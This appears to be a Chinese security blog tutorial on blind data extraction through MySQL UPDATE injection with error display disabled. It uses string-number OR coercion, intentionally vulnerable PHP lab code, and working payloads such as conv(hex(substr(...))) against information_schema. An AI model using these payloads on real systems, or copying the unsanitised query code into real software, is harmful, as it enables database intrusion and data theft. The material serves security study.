说明
关于update注入,可能大家最先想到的是报错注入,但是报错注入的前提是开启了错误显示。那如果关闭了报错显示呢?在Update的注入中如果关闭了显错该怎么办这篇文章中提出了一种在关闭报错情况下的注入场景,本篇文章就是对这种原理进行分析,并就一个实际的cms系统进行实际的分析。
mysql的特性
在mysql中,字符串和数组进行或运算时,将得到数字。但是需要注意的是,这个特性需要在MySQL的非严格模式下才可以使用。如下:
mysql> select 'abc'|123;
+-----------+
| 'abc'|123 |
+-----------+
| 123 |
+-----------+
1 row in set, 1 warning (0.00 sec)
mysql> select user()|123;
+------------+
| user()|123 |
+------------+
| 123 |
+------------+
1 row in set (0.00 sec)
利用这种特性,在关闭了报错的情况下就能够将我们查询到的数据转换为十进制的数,然后与字符串进行或运算,得到的结果就是十进制的数,最终转换为对应的字符串即可。
update注入示例
存在如下代码:
$mysqli = new mysqli("localhost","root","root","security");
if($mysqli->connect_errno) {
printf("Connect failed: %s\n",$mysqli->connect_errno);
exit();
}
$mysqli->query("set names utf8");
$id = @$_GET['id'];
$username = @$_GET['username'];
$sql1 = "update users set username='$username' where id='$id'";
var_dump($sql1);
$sql2 = "select * from users where id='$id'";
var_dump($sql2);
$result = $mysqli->query($sql1);
if($result = $mysqli->query($sql2)) {
$row = $result->fetch_array(MYSQLI_ASSOC);
echo "ID=".$id.'的用户名变为'.$row['username'];
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
输入一个正常的用户名和ID:
利用mysql的字符和数字进行或运算的特性,如下:
得到了数字123456
那么接下来就是注入的过程,我们将需要查询的数据转换为数字,转换的方法就是采用转换为十六进制的方法。
访问test.php?id=1&username=tom'|conv(hex(version()),16,10)|'
得到这个数据之后接下来就是进行解码,解码的方式使用unhex()即可。如下:
mysql> select unhex(conv(58472576988467,10,16));
+-----------------------------------+
| unhex(conv(58472576988467,10,16)) |
+-----------------------------------+
| 5.5.53 |
+-----------------------------------+
1 row in set (0.00 sec)
在实际过程中会出现或操作的结果会超过mysql的数字范围导致解码得到的结果不全,是因为将字符串转为十进制之后数值较大超过了mysql的取值范围,比如user()的字符串就存在这样的问题。遇到这种情况就可以使用substr()进行分割。如下:
# 第一次请求得到1到5之间的字符串,
http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,5)),16,10)|'
# 结果: 435626797420
解码得到:
mysql> select unhex(conv(435626797420,10,16));
+---------------------------------+
| unhex(conv(435626797420,10,16)) |
+---------------------------------+
| email |
+---------------------------------+
1 row in set (0.00 sec)
# 第一次请求得到5到10之间的字符串,
http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,10)),16,10)|'
# 结果: 27763
解码得到:
mysql> select unhex(conv(27763,10,16));
+--------------------------+
| unhex(conv(27763,10,16)) |
+--------------------------+
| ls |
+--------------------------+
1 row in set (0.00 sec)
将两次的数据进行组合,得到表名为emails
总结
方式需要update语句配合select查询才能够使用,而且需要在MySQL的非严格模式下才可以使用。
文章仅仅只是提供了update在一种场景下的注入方式,但是还是存在一定的局限性,很多时候select、()、,都会被过滤掉。
文章只是提出了一种注入场景,作为一个安全研究人员应该具备举一反三的能力,而不是局限在这个场景里面。